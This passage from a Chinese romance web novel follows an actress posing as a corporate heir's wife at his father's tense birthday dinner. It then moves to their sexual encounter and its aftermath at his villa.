算了,等周末陪他回迟家的时候再去拿回来好了。
要上楼的时候,薛涵从车里高声叫住她:“书寻!下周《烈焰》剧组那边会发官宣微博,定妆照也要拍了,到时候我再来接你。”
“好,知道了。”
-
周六上午,迟昼提前处理完集团的事务,就让钟俊开车去接凌书寻一起回迟家别墅。
迟昼坐在劳斯莱斯后座,一直望着车窗外倒退的风景,清冷的脸上难得出现一丝厌烦的神色。
钟俊透过后视镜悄悄打量,思忖着如何开口。
倒是迟昼抬起锐利的眼眸瞥他一眼,语简意赅:“说。”
钟俊边组织措辞边开口:“迟董事长生日,您突然带凌小姐回去,他必然要动怒。迟总,您是否再考虑一下?”
钟俊从迟昼回国起就一直跟在身边,两年来对他的脾性早已了解,也敬佩他做事雷厉风行,几乎让商界所有竞争对手闻风丧胆。
虽说迟昼和凌书寻结婚以及带她回迟家是个人私事,但钟俊依然觉得有必要提醒他一次。他平时做事尽心尽力,迟昼看在眼里,平日里待他也不错,有些事情能谈上几句。钟俊觉得,于情于理,自己都应该劝劝他。
“本来就是为了今日。”迟昼淡淡说道,“日后他能少些心思。”
“可是迟董事长的身体……”
“就这样。”迟昼冷冷打断。
钟俊清楚,他做好决定的事任谁都改变不了,只好专心开车。
车子临近公寓时,凌书寻已经提前等在了路边,手里还拎着大包小包的礼品。
钟俊见状打趣:“看来凌小姐做的准备还挺充分呢。”
迟昼乜他一眼。钟俊立刻收起笑容,下车去帮凌书寻把礼品放入后备箱。
钟俊打开后排车门,凌书寻立刻钻了进来,带着几分愁容:“我给伯父伯母买了一些礼物,希望他们不会嫌弃。但是你们家什么都有,应该看不上吧……”
她轻轻叹了口气:“你到时要帮我说点好听的。”
迟昼皱眉:“多此一举。”
“你……算了,跟你们这些天龙人说不明白。”凌书寻翻了个白眼。
她早就觉得迟昼说话很气人,但怎么会这么气人!
就算是演戏,第一次登门拜访长辈也不能空手去,迟昼不帮自己准备就算了,居然还说她是“多此一举”。凌书寻气得要冒烟,这些东西可花了她好几万块!
凌书寻本打算找个机会再从迟昼那里敲回来,可一想到自己住院的医药费伙食费都是他付的,还是算了。
吃人嘴软拿人手短。何况迟昼还是老板。
随着车子的行驶,窗外的景色越来越陌生,原本密集的钢铁森林已经被绿林环绕的低矮洋房和红顶别墅取代。
劳斯莱斯很快开进了一扇黑金色雕花铁门。
凌书寻向外望去,两旁是被精心打理过的从草坪,数十根白色的大理石雕塑沿着车道两旁展开,显得这栋庄园主人的身份更为华贵。
又沿着车道缓缓行驶了一会才停在一栋巨大的金色法式别墅前,旁边已经停着好几辆豪车,都是平时极难见到的限量款。
迟昼起身下车,转头对钟俊说道:“把东西放下,你可以回去了。”
“是,迟总。”
凌书寻有些紧张起来。从现在开始,她必须要打起十二分精神,在一场没有摄影机和导演的豪门戏剧里,从容不迫地进行数个小时的即兴表演。
而且她不可以有失误。
迟星本来在门口焦躁地来回踱步,看到迟昼后立刻快步跑了过来:“哥,你终于来了!”
看到跟在迟昼身边的凌书寻,她的表情瞬间变了:“你真把她带来了?迟昼你是不是疯了?”
迟昼不理会她,带着凌书寻向别墅里走。
迟星似乎很急,立刻拽住了迟昼的胳膊:“哥,秦欣宜来了!”
迟昼顿住脚步:“她来做什么?”
“好像是我妈叫她来的,有意再撮合你俩一次……”在迟昼渐冷的目光中,迟星的声音也越来越小,眼神躲躲闪闪。
凌书寻快步跟上迟昼,一起走进了别墅。<
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进门的那一刻,迟昼微微低下头,薄唇附在她的侧脸,温凉的吐息擦过耳廓:“演的像一些。”
二人的身影出现在宽阔的会客厅,原本热闹欢笑的人群好像瞬间被按下暂停键,笑意和言语都凝滞在了脸上。
视线里,迟昼身姿挺拔,一身深灰色的休闲西装,胸前别着一枚银白色宝石胸针;他身边站着一个高挑美丽的女孩,微卷的黑色长发披肩,淡妆装点着明艳的姿容,珍珠白的缎面过膝连衣裙,衬的整个人温婉端庄。
她纤白的胳膊,就挽在迟昼的小臂上。
“小昼,怎么现在才来,大家都在等你回来开饭呢。”迟昼的继母曲月兰从沙发上站起身,脸上堆着笑意,目光却在凌书寻身上反复打量,“你身边这位小姐是?”
迟昼勾了勾唇角,眼底闪过一丝玩味,然后以最平淡的语气在迟家丢下一颗炸弹:
“这位是我的夫人,凌书寻。”
在众人还未反应过来之际,凌书寻挂着最得体的笑容,抬起右手打招呼:“大家好,我是迟昼的妻子凌书寻。今天是跟迟家各位亲友第一次见面,如果有什么不周全的地方,希望大家海涵。”
凌书寻微笑环视一圈众人,在十几个错落的人影里,看到了那个有点熟悉的女孩。
她的脸色如在Le Ciel餐厅初遇一般苍白难看,想来她就是秦欣宜了。
凌书寻在心里默默向她道歉:对不起了,怪就怪迟昼和你自己吧,天下那么多男人,谁让你偏偏喜欢上这个渣男!
同样难看的还有迟擎苍。他坐在主位的沙发椅,手里拿着的一根雪茄已经因为用力而被捏变形。
“什么时候的事?”迟擎苍脸色铁青,声音低沉的骇人。
迟昼低头笑了,另一只手覆在凌书寻的手背上轻柔地摩挲,“宝贝,告诉他,我们是什么时候领证的。”
“伯父,我们已经领证半年了。”凌书寻含着笑意和迟昼对视一眼,“迟昼说正好借着今天这个机会,让我来跟大家见个面。”
还好在来的路上,凌书寻已经和迟昼商讨过这些问题。
她暗自得意,这次一定万无一失。
曲月兰讶异:“你们已经领证了?”她瞥了一眼迟擎苍,“这么大的事怎么都不告诉你爸爸?”
“咳,那个,菜已经上齐了,大家快坐下吃饭吧!”迟星打破这剑拔弩张的局面,走到迟擎苍身边,“爸,你先去坐下。我定的大蛋糕已经送到了哦,你快尝尝好不好吃嘛!”
“来,各位客人都请坐吧。”在迟星拼命使眼色后,家里的佣人们才反应过来,走到餐桌前拉开椅子,又端来酒水。
见大家都纷纷落座,迟擎苍才拉着脸缓缓坐到长条餐桌的主位前。
“小昼,还有书寻,你们也过来坐下吧。”曲月兰坐在迟擎苍和迟星中间,伸手指向她对面的两个空位。
迟昼领着凌书寻走过来,让她坐在了迟星的对面,自己则正挨着迟擎苍。
迟星正准备招呼佣人过来帮忙点蜡烛,迟擎苍却突然抬手制止。
他阴冷的目光越过迟昼,径直落在凌书寻身上:“不知这位凌小姐,是做什么的?”
12.别墅
凌书寻抬起那双潋滟的桃花眼,看向迟擎苍的脸上带着淡淡的笑意,声音不卑不亢:“伯父,我是一名演员。”
凌书寻本以为,他的脸上会再次挂上一层寒霜。
然而,迟擎苍却出乎意料的平静。
“你前不久才刚签到扶光影视的旗下吧。”他喝了口茶。
凌书寻表情未变,但心中一惊,脑中闪过一丝不安的念头。
“是我把她签下的。”迟昼抿了一口红酒,也看不出情绪,“我的人,当然要在自己的公司里。”
“演员。”迟擎苍缓缓重复二字。
接着便嗤笑一声:“所以,你就让她来陪你演戏?”
“什么?演戏?”
“小昼,这是真的假的?”
“我就说他怎么会突然结婚……”
“……”
霎时间,宴席上的人都七嘴八舌议论起来。
秦欣宜脸色也缓和了些,仰头喝着红酒,眼神假装不经意的瞟向凌书寻。
迟擎苍的视线再次落在迟昼的脸上。
尽管已经退位两年,只担任名誉董事长,可他毕竟也执掌过迟翡二十余年,在集团里还有无数眼线。
迟昼接手的这两年,在集团的一举一动,迟擎苍都清清楚楚。儿子为了一个女明星就在扶光大动干戈的事,他怎么会不知道。
当凌书寻自报家门,他才把这两件事重合起来,让他的怀疑有了依据。毕竟迟昼的性子他了解,平时一副生人勿近的模样,怎么会突然结婚。
凌书寻轻吸一口气,暗道不好。
她完全没想到迟擎苍会这么直接的看穿,果然姜还是老的辣!
而她没有和迟昼商讨这个问题的答案。
“那伯父是觉得我一进门就在演戏了?”凌书寻笑着反问,只能拖延时间让迟昼想想办法。
“我还没有这样的实力,不然怎么会现在还寂寂无名。”
她尾音拖长,想给迟昼使个眼色,然而众人的几十只眼睛都盯在自己身上,让她的每个细微的动作都似有千斤之重。
忽然,迟昼宽厚的手掌轻轻握上了她的手腕,有温热的力量通过她的小臂徐徐传递,她那颗狂跳不止的心平静下来。
迟昼冷笑一声:“呵,如果我真的这么做,那今天来的应该是一个□□缠身、声名狼藉的人。”
他顿了顿,继续说,“更何况,扶光是母亲留下的资产,我不会让它掺杂虚假的东西。”
迟昼尾音落下,空气瞬间安静起来,所有的目光再次无声的聚集到他的身上。
迟星想到什么似的,突然说:“我那天去哥的办公室,还看到他们两个拉着手呢。而且,我小姐妹也跟我说见过他们。”
接着她又补了一句:“我觉得,不像假的。”
曲月兰:“你当时怎么不跟我们说?”
“当时哥哥不让我说嘛!”
“抱歉,当时我刚拍完戏回来。”凌书寻装作娇羞地样子,“小别胜新婚。”
眼见迟擎苍的脸色又变得阴沉,迟昼嘴角噙上一抹笑。
他坐在凌书寻身边,慢条斯理地在切牛排,眼神专注。在这沉默的空隙里,他将切好的牛排放到凌书寻的面前,把她那份还原封未动的牛排换到自己面前。
他的刀叉划过瓷盘,发出尖利的声音。
每一声都落在迟擎苍的耳朵里。
曲月兰不想听见任何关于迟昼亡母的东西,于是岔开话题,问凌书寻:“家里没有经商的?”
“没有,伯母。”
“这倒是有些意外。”曲月兰悄悄看了一眼坐在桌尾的秦欣宜,又把视线放回迟擎苍身上,“小昼他爸爸之前一直还希望他能找一个门当户对的女孩子。”
凌书寻看着她的表情和动作,心中顿时了然。
曲月兰表面上一直在为迟昼说话,可实际上却在激怒迟擎苍,每句话在无形之中都在挑拨着二人的情绪。
想来二人的父子关系恶劣至此,与她脱不了关系。
凌书寻拿起桌上的玻璃水杯,轻轻抿了一口后说道:“感情的事情,谁说的准呢。”
她又抬眸看向曲月兰,露出一丝暧昧莫测的笑:“您说对吗,伯母?”
曲月兰在凌书寻的表情里愣了一下,她看了看迟昼,脸上闪过一丝尴尬,随即恢复如常;“啊,对,对。”
迟昼丝毫不理会曲月兰和迟擎苍,只拿起高脚杯,佣人立刻会意倒酒。
他微微靠近凌书寻,轻声问道:“你要不要喝一点?”
他的声音本来清冷,此时在他刻意压低的声线里,带上几分慵懒,又透着几分撩人。
凌书寻还是摇摇头,怕酒精会麻痹自己的大脑和感官,要演好这一出戏,必须要让自己保持最好的状态。
“你和小昼是怎么认识的?”一位中年女人问道,年纪看着比曲月兰略长一些,气质也同样极佳。
“这是我的姑姑。”迟昼介绍。
凌书寻又换上她那幅标准的微笑:“姑姑好。我和阿昼相识是在一年前,当时我在一个宴会上被别人搭讪骚扰,是他帮我解了围。”
“哦?没想到他还有这个闲情逸致。”迟擎苍冷笑,“我还以为,他的眼里只有他自己。”
迟星已经点好蜡烛,她撒娇似的瞪了迟擎苍一眼,“哎呀,爸!你别这样说哥哥。你快许愿,吹蜡烛。”
迟擎苍见状不再言语,起身吹灭蜡烛。
“生日快乐老爸!”迟星抱着迟擎苍的肩膀,脸颊贴了一下,“今天一定不能再生气了哦,有什么事改天再说。”
“好,爸听你的。”迟擎苍轻叹一口气。
虽然迟擎苍和迟昼的父子关系不好,却很宠女儿迟星。凌书寻看着这一幕心想,之前一定还有很多如今天一般的时刻,父子二人针尖麦芒,说着伤害彼此的话,迟星从中调节打诨,避免事态的延续。所以迟昼对这个妹妹态度还不错。
凌书寻看着迟星,她也很喜欢迟星的性格。
迟星把切好的蛋糕递给迟擎苍,佣人切好其他部分一一递给餐桌上的贵宾们。
凌书寻先是尝了一口,只觉奶油绵密浓郁,像临近傍晚时的一朵霞云慢慢化开在舌尖,清甜不腻,是她先前从没吃过的味道。
迟昼看她吃得喜欢,随手把自己那份也推到她的面前。
凌书寻侧边的长发掖在耳后,瓷白细腻的耳廓和下颌露出,线条流畅,耳坠随着她的动作微微摇晃。
耳坠由一串小巧精致的金属蝴蝶有序排列组成,从上往下的白蓝渐变,在细微的、不停的晃动中仿佛拥有生命一般,振翅欲飞。
它们搅动着看不见的气流,让他的心尖发痒。
迟昼默不作声的移开视线,喝下一口红酒,喉结在滚动。
“欣宜,你父亲最近身体怎么样?”迟擎苍咽下一块牛排问道。
坐在最远处的秦欣宜抬头,扯了扯嘴角:“托迟叔您的福,一切都好。”
“有段日子没见他了,你回去告诉他,有时间再去跟我打高尔夫。”迟擎苍说着往旁边瞥了一眼,“关于你的婚事,我还要再跟他商量呢。”
凌书寻不紧不慢地咽下口中的食物,放下手中的刀叉,迎上他的目光,脸上露出几分懵懂不解:
“爸,您是要把其他优秀的青年才俊介绍给秦小姐?”
迟擎苍眉心一跳:“谁是你爸!”
“我都跟迟昼结婚了,当然也得叫您一声爸。”她歪头看向迟昼,故作乖巧地眨眨眼睛,“老公,你说是不是?”
“当然,宝贝。”迟昼握住她在桌上的手,送到唇边浅啄了一下。
温凉的触感落在凌书寻的手背,她的目光不觉停留在迟昼的脸上。
他以往那张矜冷如雪山一般的脸上浮现着笑意,寒潭似的眸子荡漾着圈圈涟漪,眉尾轻挑,如一道慢慢靠近的海浪。
凌书寻还没见他这样笑过,衬得他更添了几分温文尔雅。
看来他很满意,她这灵机一动的临场发挥。
果不其然,迟擎苍的脸再次结上一层寒霜。
“你们的婚姻没有经过我的同意,当然算不得数。”他一字一顿,“迟家也不可能会承认你。”
还未等凌书寻张口,迟昼冷笑一声,刚刚的温柔已经尽数散去,看向迟擎苍的视线又带上了彻骨的寒意:
“我们是法律承认的婚姻关系,你的想法又有何意义。”
迟擎苍紧握的手用力砸在了桌子上,手旁的水杯被横扫出去,掉落在地板上四分五裂。
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曲月兰惊慌失措:“哎呀,小昼,别再气你爸爸了!”
迟昼对他们所有的动作都视若无睹,只转过头问凌书寻:“吃饱了?”
凌书寻不明所以,但还是点点头。
“那我们走。”迟昼握住她的手腕,掌心温热有力。
凌书寻被他牵着,顾不得道别,在众人诧异地目光中离开了餐厅。
-
来到停满豪车的门前,迟昼才停步松开握着凌书寻的手。
“会开车么?”
凌书寻点点头:“会。”
她大学时就学出了驾照,每次回老家时都会开一开爸爸的车,倒是一直没有生疏。
迟昼按了一下车钥匙,一辆漆成玫红色的保时捷911车灯闪了闪,他把钥匙扔给凌书寻:“你来开。”
随后径自走到副驾旁边,站在那里等她。
凌书寻下意识伸手接住沉甸甸的车钥匙,重复问道:“我开?”
“我喝了酒,你没喝。”
“我怕技术不好,万一刮蹭……”
这可是几百万的车,她哪里敢随便就上去开!
迟昼审视着她,“不用你赔。”
“好咧。”凌书寻立刻开门坐上驾驶位。
一一熟悉过方向盘和仪表盘后,凌书寻已经跃跃欲试。她双手抚摸着方向盘,兴冲冲让迟昼打开导航。
一路上,凌书寻都沉浸在手摸豪车方向盘的兴奋里。迟昼则闭上眼睛假寐。
近一个半小时后,两人才回到迟昼的别墅。
虽然路上遇到红绿灯熄了几次火,但凌书寻还是对这次驾驶体验十分满意。
把车停在车库后,凌书寻最后依依不舍的看了一眼这辆玫红色的保时捷,把钥匙还给迟昼:“真没想到你还喜欢这个颜色。”
“迟星的车。”
“……”
可恶的迟昼,怪不得那么大方的说什么不用赔,感情根本不是他的车!
迟昼刚一到门口还未伸手,保姆周姨从里面打开门:“迟先生回来了。”
凌书寻跟在他后面进去:“迟昼我的行李呢?”
周姨把他随手脱下的西装外套理好挂在玄关,良好的职业素养让她没有过多打量首次登门的凌书寻,只对着二人微微颔首,便关上门去了厨房。
迟昼的双层别墅面积不算很大,挑空的客厅让视觉上更为空旷高级;家具不算多,颜色倒是比他办公室里丰富一些;整体都是意式的装修风格,带着贵重的质感。
迟昼在沙发坐下,单手搭在靠背。
凌书寻还在打量他的别墅,听到他出声:“考虑的怎么样?”
“什么?”她在他身旁坐下,眼中带着不解。
“搬过来的事。”
凌书寻抬头打量了一下二楼,转角做了一个开放式的书房,有两间卧室。
“我们两个一人一间吗,那万一你半夜对我有非分之想怎么办?”
迟昼身形骤然一顿,周身气压瞬间沉了下去。
“啧,开个玩笑而已。”凌书寻瞥他一眼,抬手把侧脸散落的碎发理到耳后,起身想去二楼:“真没劲。”
经过他面前的刹那,珍珠白的裙角无意间扫过他修长的双腿。
迟昼黑眸倏然抬起,瞬间擒住她的手腕,往回一拉。
凌书寻只觉得腕骨一紧,整个人被一股蛮力拽向后方,身体骤然失去重心,踉跄着往后倒去。
“啊——”她的惊呼卡在喉间,坠落的瞬间被一只有力的臂膀箍住腰肢,跌坐在迟昼的腿上,上身重重撞进他的怀里。
身下皮质的沙发被这股力道挤压出闷响。
“你说谁没劲。”他的嗓音又带上一点沙哑,低下头看着撞进自己怀里的人。
凌书寻挣扎着想起身,却发现被他扣住腰肢,全身都软绵绵的使不出力气。
甚至连本该带有的怒气也在溃散:“我说你没劲……”
话音未落,迟昼突然俯身。
凌书寻瞪大眼睛。
视线完全被迟昼那张好看的过分的脸所侵占,深邃的眉眼与她的瞳孔的距离似乎只有几毫米。
在她尚未反应过来的时候,他温热的气息裹挟着红酒的清香,覆在了她的双唇。
13.纵容
一开始,迟昼只是想让她知道,说他“没劲”的后果。
可是当她落在自己的怀里那一刻,眼神惊慌的像一只落入陷阱的兔子,眼睫颤动不止,挣扎着逃脱。
这让迟昼产生了一丝兴味。
如果更进一步,她会作何反应?
他指尖挑起她秀丽的下颌,强势的将她送到自己的唇边,攫取着她的呼吸。
迟昼想起上次在酒店时,她吻自己的样子。那娇软的舌头不知怎的,就撬开了自己的牙关,在口中肆意搅弄,引诱着他与之相抵,痴缠。
他学着她的方式,一边攫取,一边偿还,两人的嘴巴里都沾染上了彼此的津液。
当他睁开眼睛,才发现她涨红的脸。于是收敛自己的攻势,放开扣在她下巴的手。
随着他的手渐渐离开自己的身体,凌书寻才有机会大口喘息。
她终于着力,抬起双手推开他的胸膛站起。
“你干什么!”她的睫毛染着一点湿意,说话时大口的吐息。
凌书寻只觉得自己的大脑还在缺氧。
刚刚他突然落下的吻,让她措手不及。他的舌头探寻进来,连她的呼吸都被夺走。
他真是恣意惯了,连接吻都这么霸道。
迟昼俯身,手臂越过她的腿侧,从茶几下面拿出烟盒。手上的火机里冒出一朵摇曳的火,点燃一根烟。
“没劲。”他吸了一口烟后勾了勾唇,带着一点嘲弄的弧度。
凌书寻真是要被气笑了。
这人的报复心可真强,就为了她玩笑的两个字,差点把她吻到窒息。
“幼稚。”她冷冷的抛下一句,转身走上楼梯。
迟昼深沉的目光落在她的背影,夹着香烟的手搭在沙发的扶手。午后的一道阳光照过落地窗,落在他的手臂上,烟头明明灭灭,细碎的烟灰轻轻飘向地板。
他平时并不喜欢吸烟。只是今天见了迟擎苍,心里难免烦闷。
凌书寻在迟家的表现,比他想象的还要好些,一个眼中只有自己的美丽妻子,在迟家人面前不卑不亢。
忽而,他轻轻舔舐了自己的唇。
出乎意料的,这个吻让自己平静了许多,原本总觉得紧绷的身体状态似乎在舒缓。
他不明白这种感觉。
-
凌书寻走到二楼。
靠近楼梯的这一间是客房,大床上白色的床品铺的整齐,靠下的位置有一条深灰色的床旗。床下铺着一张黑色的羊绒地毯。
一个中型的衣帽间空空荡荡,再向里是一间独立的卫浴。装修风格延续了楼下客厅的意式,看着都价格不菲。
旁边迟昼的那间卧室更大一些。
似乎是由两间房打通,有一个大型衣帽间的同时,还有一套浅色的布艺沙发及超薄电视;一间超大的卫浴,干区做的雅致净奢,里面的湿区砌着一个完全可以容纳两人的大浴缸。
毫不夸张地说,单单这一个卫生间都比她现在住的公寓还大。
转弯这一圈,凌书寻觉得自己更气了。
“喜欢这一间?”
迟昼不知何时走了上来,正抱臂斜倚在卧室门框。
白色衬衫妥帖的收束在深灰色的西裤里,没了西装外套的遮挡,宽平的肩背和劲瘦的腰线都更加明显,袖子卷在小臂,衬衣领口解开了几个扣子。
他流畅的锁骨下是紧实的胸肌,块垒分明,在衣领下若隐若现。
凌书寻悄悄咽了口口水,不自觉地握紧了拳头,又欲盖拟彰的侧过头,移开视线。
这个迟昼也真是的,怎么能在女人面前这样解开衣扣,一点男德都没有,明明知道她把持不住。
如果此刻有人问凌书寻,这世界上最难忍受的是什么?
她一定会说,是有个人高腿长身材好的清冷系大帅哥站在面前,他起伏饱满的胸肌还散发着无声的诱惑,你却不能摸!
这完全就是在勾引自己!
凌书寻从来没有标榜自己是什么不食人间烟火的仙女,哪怕是大学的时候,作为校园女神也随性自在。她喜欢看到学弟们在自己面前脸红的样子,也喜欢在运动场上看到年轻健壮的体育生挥汗如雨的样子。
她喜欢被追捧,也喜欢情与欲。
她靠近迟昼。
伸出纤长的手指,指了指他的胸口处。
在迟昼略带疑惑的目光里,凌书寻还是问出口:“可以摸吗?”
迟昼:“……”
她的手掌还是探进了他的衣领,柔软的指腹缓缓触碰在他紧实的胸肌上。
如蜻蜓点水一般。
凌书寻觉得,摸胸肌这事还是浅尝辄止就好,毕竟自己和迟昼还没熟到可以肆意撩拨彼此肉.体的地步。
她沉浸在得手这一刻的愉悦里,没有注意到迟昼身体微滞。
她的指尖刚从他温热的肌肤上抬起。
从衬衫里抽离的一瞬间,一只骨节分明的大手贴在了她的手背,不容置疑的,重新把它按回了原处。
“摸了就想跑?”迟昼微微俯首,低沉嗓音贴着她的耳廓响起,带着酥痒温热的气息。
他的手心带着不容分说的力道,带着她一路向下,探寻至块垒分明的腹肌,停留在隐秘而又禁忌的人鱼线上。
凌书寻的心跳莫名一颤。
“你……你干嘛……”她试图抽回手,却被他更用力地按住。
迟昼不言,只垂着眸子看她,眼底晦涩不明,像无声的漩涡,要将她卷入进去。
是那种陌生又熟悉的感觉回来了。
潜藏在皮肤之下,一直在渴求与叫嚣的东西。在凌书寻手指的触碰里,被彻底勾起。
迟昼继续带着她的手游移在自己的身体,另一只手不急不慢的解开衬衫上全部的纽扣。
凌书寻的耳廓发烫,视线仿佛被黏住,只能跟随着手掌在移动。
而此刻,她已经触碰到了冰凉的皮带,触感微凉而清晰。
再往下,就是……
“迟先生——”楼下周姨的声音传来,“要给你们准备晚饭吗?”
迟昼的动作顿住,力道轻轻一松。
凌书寻趁机收回了自己的手。
“不用。你先回去。”迟昼侧过头。
听到楼下传来关门的声音,凌书寻匆匆越过迟昼的身边,快步走向楼下。
她脸红的像是要滴出血来,步伐都变得慌张。
她想,一定是刚才那个吻把自己搞昏头了,才会去伸手摸迟昼的胸肌。
重新坐回到沙发上,凌书寻拿起周姨放在茶几的水杯喝了一口,听到身后传来迟昼下楼梯的声音。
脚步声停在她的身后。
她不敢回头看。
凌书寻放下水杯,清清嗓子,问:“你这栋别墅里,没有
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你爸爸的人吧?”
“平时只有周姨在这里打扫房间,她之前是跟着我母亲的。”
凌书寻依旧背对着迟昼,点点头:“那麻烦让周姨把旁边那间卧室收拾出来吧,我把东西搬过来。”
余光里,她看到迟昼坐在了自己身边,衬衫依旧散乱着,露出大片肌群。
她的心又忽然跳的很快。
周遭一片寂静,她开始担忧迟昼会不会听到自己凌乱的心跳。
“在想什么?”
“我在想,你爸爸为什么要这样监视着你。”
迟昼又沉默了几秒才说道:“他一直想控制我。”
凌抒寻不解:“为什么?”
“我们的关系不算好,当初从他手里夺过迟翡的控制权,也并不是他心甘情愿的,是我用了手段。”
凌书寻看向他,发出感慨:“你们豪门的关系可真复杂。”
而后又灵光乍现,问道:“你有没有怀疑过,我是你爸爸派来接近你的?”
迟昼的目光从远处收回,落在她的脸上:“不会。”
凌书寻叹了口气,“唉,没劲。”
说完,她自己倒是先愣了下,又低着头弱弱的补充道:“我的意思是,你不幽默。”
她感受到迟昼凝视着自己的目光,带着一份别样的炽热。
再次抬起头,凌书寻还没来得及说什么,他的手指再次扣住她的下颌,迫使她抬起头看他。
他脸上依旧冷淡,看不出表情,而黑沉的眸底似乎染着别样的渴望,只静静看着她酡红的脸,带着某种无形的压迫感。
她的呼吸开始变得有些急促。
她感觉到,迟昼好像变了模样。从一座冰冷的雪山变成了一只猛兽,强势的在盯着自己的猎物。
可是迟迟没有下一步动作。
只有他的拇指正摩挲着她的唇珠,专注的如同把玩着一件艺术品。
凌书寻抿了一下嘴唇,胜负心被激发出来。
她抬起双臂,猛地向前一推。
不知道迟昼是没有料到她的动作,还是本就等待她的攻势,竟就顺着她的力道,慵懒的陷在沙发的靠背上。
凌书寻乘势欺身而上,膝头跨过他的双腿,将他禁锢在自己身下。她半眯起眼睛,居高临下的看着他。几缕长发垂下,落在他的脖颈上,酥酥痒痒的。
迟昼的喉间蓦地发出一声低笑,带着兴味和纵容。
下一秒,手臂环上她纤细的腰肢,稍一用力就把她捞进了自己的怀里。
他的吻随即落下,没有之前的试探,取而代之的是灼人的温度。
凌书寻感受到了他胸膛下传来的,同样失序的心跳。
体温在节节攀升,空气里有危险的气息。她恍惚又想起那个意乱情迷的夜晚,他沉身向下的时刻。
一种更大胆的冲动攫取住她,她偏过头,轻轻咬在他的锁骨,继而蜿蜒向上,啃噬着他滚动的喉结,最终含舐着他泛红的耳尖。
迟昼的呼吸愈发凌乱,扶在她腰侧的手掌温度高的惊人,他握住她微微发颤的指尖,为自己解开腰带的金属扣。
炽热的力量进入眼帘,她脸颊瞬间红透,慌忙的别过脸去。
入情的瞬间,她全身似乎都轻颤,一声低低的呜咽后,只能下意识的将他抱得更紧。
在彼此的低喘中,共同坠入一个颠簸而迷幻的梦境。
14.色令智昏
抱住她的那一瞬,迟昼终于明白那种感觉为何会出现。
是从上次在酒店的情迷之夜以后。
他在贪恋她的温度和肌肤。
是他对她的身体,产生了渴求。
于是在她开始回应的时候,他皮肤下所有的叫嚣都归于平静,取而代之的是一种前所未有的餍足。
迟昼终于承认,他食髓知味,对她柔软温存的身体产生了别样的兴趣。
怀中的人此刻已经没有刚刚那居高临下的眼神,只伏在他的肩上休憩喘息,面颊上带着微微的潮红,额角濡湿。
他撇过头去,再度吻住她的双唇。
折腾到傍晚,他才抽离,而凌书寻早已没有了力气,卧在沙发上平息。
迟昼起身,撩过挡在她眼前的发丝:“累了?”
凌书寻迷迷糊糊地“嗯”了一声,沉重的动都不想动。
迟昼抬起她的肩,手臂穿过她的膝下,把她从沙发上抱起。
她娇软的身体竟是如此单薄,长发凌乱地散落在光洁的背后。那双昳丽的桃花眼此刻闭阖着,侧脸贴在他的胸膛,只任由他抱着。
上楼的过程迟昼几乎没费什么力气,缓缓走进卧室的卫浴间,将她放在浴缸里。
凌书寻的肌肤触碰到光滑温热的壁面,全身都暖呼呼的才睁开眼睛,惊觉这浴缸居然能自动加热。
温度适宜的清水正缓缓没过她的腿根。
迟昼则是在另一侧的黑色花洒下冲澡。
水声停下,他在腰间随手围了一条白色浴巾。胸前还有水珠在不断的向下,或急或缓的流淌过几块紧实的腹肌,又汇在人鱼线上。
凌书寻倚在浴缸里,默不作声的看着,下一秒却和迟昼视线相交。
她装作不经意地掠过,抬起还似有千斤重的小臂,心猿意马的向肩膀撩拨着水。
眼见迟昼静默的走出浴室,凌书寻的身体和大脑才彻底放松,深吸了一口气躺进水底。
当温柔的水波涤荡着那张清丽的面庞,她迷蒙的大脑才开始逐渐感到清明,理智的思维又重新占领高地。
她不仅懊恼。
迟昼那张脸明明冷的跟雪一样,也就身材算是她喜欢的那款,可自己怎么能一看到就被冲昏了头脑呢?
想来想去,凌书寻觉得凌书寻觉得只有一个词可以解释——
色令智昏!
既然古人编纂这个成语,那古往今来一定有不少人败在了这个字上。何况她只是一个普通女人,也难免会犯一两次错误。
脑中的切片又不受控制,一点点浮现起她双臂圈在迟昼肩上、两人拥吻的那刻。
声息如同撞击在一起的两片海浪,此起彼伏。
到了最后,也已经说不清是谁更主动。
凌乱的回忆裹挟着某些过往再度袭来,她又想到了另一个人。
其实和戴择在一起的时候,凌书寻并没有多喜欢和他接触,只是因为他是自己初恋,心理上难免更依赖他一些。
可是怎么到了迟昼这里,自己反而很贪恋他的身体。
他像一个欲望的漩涡,在吸引自己不断靠近、下坠,最后沉沦在他的中心。
而她很喜欢。
“……送到别墅……当季……另外……”
耳中传来的似乎是迟昼讲电话的声音,只是隔着一片水域听不清,而她也不甚在意。
凌书寻正闭着眼睛出神,没注意一阵脚步声逼近。
一只冷白的手伸进水里,抓住她纤细的胳膊,带着几分迫切的力道,一把把她从水里捞了出来。
“……?”
凌书寻被拽的猝不及防,下意识曲起修长浑圆的双腿,手臂交错护住胸前的春色,坐在浴缸里一脸惊恐地看向来人。
罪魁祸首此刻正站在浴缸前,凌厉的眉骨蹙起,一脸不悦。
迟昼抿着薄唇,眼帘垂下,看不出想法。
他打完电话后,下意识向浴室看去,可是里面却安静的过分,没有一丝水声,顿觉疑惑。
他走进来,看到凌书寻沉静的躺在浴缸里,水面平静似冰,当下心里一沉,伸手把她捞了出来。
“看来你是真的喜欢练习憋气。”迟昼冷冷扫她一眼。
上次把头埋进被子里,这次又栽进水里。
这个女人的迷惑行为还真是多。
凌书寻反应过来:“你该不会……以为我溺死在你家浴缸了吧?”
她自己倒是先轻轻一笑,抬起弯弯的眼睛看着迟昼:“这么好的房子,我可不舍得让它变成凶宅。”
迟昼懒得理她,只从墙壁的置物架上拿了一条浴巾扔到浴缸边沿,一言不发的出去。
看着他平阔的背影,凌书寻只得在心里暗暗吐槽一句“无趣”,这人冷漠的性格根本配不上他的外貌和肉.体!
她再次躺靠在浴缸里,长纾一口气。
又磨蹭了一会,凌书寻终于从水中起身,将柔软亲肤的浴巾裹住自己的身体。
捋了一把潮湿的长发,从柜子里找到吹风机,开始吹干。
机器发出的噪音充斥着她的耳膜,没有听到楼下传来的阵阵人声。
凌书寻不认识这是什么牌子的吹风机,只觉得它吹出的风舒缓,却让头发干得很快。最重要的是,发丝吹完后不干不涩,意外的顺滑。
她决定跟迟昼说一身,把这个吹风机据为己有。
毕竟自己都决定搬过来住,跟迟昼要一个吹风机当礼物,不过分。
走出浴室,凌书寻看到迟昼正向自己走过来。
他换了一身白色的家居服,到让他气质原本地凌厉削去了几分,带上了一点柔和的气息。
“下来看看。”
凌书寻不知所以:“怎么了?”
从卧室走出去,透过栏杆向下一扫,她的脸上立刻流出惊异的表情。
“那些是,衣服?”她欣喜地看向迟昼。
迟昼微微点头,看向她的眸子依旧没什么温度:“去试试。”
